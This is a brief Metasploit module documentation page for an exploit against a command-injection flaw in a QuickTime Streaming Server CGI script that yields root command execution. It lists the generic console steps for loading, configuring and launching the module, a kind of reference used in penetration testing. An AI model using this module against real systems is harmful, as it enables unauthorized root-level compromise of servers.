The QuickTime Streaming Server contains a CGI script that is vulnerable to metacharacter injection, allow arbitrary commands to be executed as root.
Unix
cmd
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/unix/webapp/qtss_parse_xml_exec
msf exploit(qtss_parse_xml_exec) > show targets
...targets...
msf exploit(qtss_parse_xml_exec) > set TARGET < target-id >
msf exploit(qtss_parse_xml_exec) > show options
...show and set options...
msf exploit(qtss_parse_xml_exec) > exploit
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